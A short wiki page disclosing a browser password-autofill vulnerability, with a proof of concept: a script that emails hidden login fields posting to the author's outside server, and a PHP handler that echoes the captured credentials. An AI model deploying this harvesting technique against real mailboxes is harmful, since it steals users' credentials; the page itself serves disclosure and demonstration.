Reverse Cross-Site Request (RCSR) vulnerability

From YobiWiki
Jump to navigation Jump to search

Intro

This is a new class of vulnerabilities discovered by Robert Chapin.
Resolution for firefox is in discussion.
It's incredibly easy to setup an attack and much larger than just blogs and forums.

Example

We'll do the attack by forging an email to be read under a webmail, here squirrelmail.

Conditions

  • Use Firefox
  • Let Firefox remembering the password for your squirrelmail website
  • Have only one login to be remembered otherwise ff does not autocomplete the login form but waits for you to begin filling the login form.
  • Ask squirrelmail to display HTML version by default (in your prefs)

Forge email


Warning! in this example the destination form is on my own website but if you try as such this means that I will receive your account infos!
You can e.g. change temporarely your password just for the demo.
If you use my form, note that you will be prompted for my SSL certificate, this is because this is a self-generated ssl certificate, I could have done it without ssl but then your account infos would have flied in clear text on the Net! 

#!/bin/bash
TO=your@email.com
mail -s test-sec \
   -a "MIME-Version: 1.0" \
   -a "Content-Type: text/html; charset=ISO-8859-1" \
   -a "Content-Transfer-Encoding: 7bit" \
   $TO << EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
TEST<br>Click on the image.
<form action="https://www.yobi.be/form.php" method="post" target="_blank">
<input type="text" name="login_username" style="display: none;" />
<input type="password" name="secretkey" style="display: none;" />
<input type="hidden" name="js_autodetect_results" value="0" />
<input type="hidden" name="just_logged_in" value="1" />
<input type="image" value="Login" src="https://www.yobi.be/1" style="width: 640px; height: 480px;
border: 1px; position: absolute; top: 0px; left: 0px; display: block;"/>
</form>
</body>
</html>
EOF

On attacker's site

On my site, the form handler is as simple as that just to show you I got your data: 

<?php
echo "Your login: ".$_POST['login_username'];
echo "<br>Your password: ".$_POST['secretkey'];
echo "<br>Your site: ".$_SERVER['HTTP_REFERER'];
?>
Retrieved from "https://wiki.yobi.be/index.php?title=Reverse_Cross-Site_Request_(RCSR)_vulnerability&oldid=6885"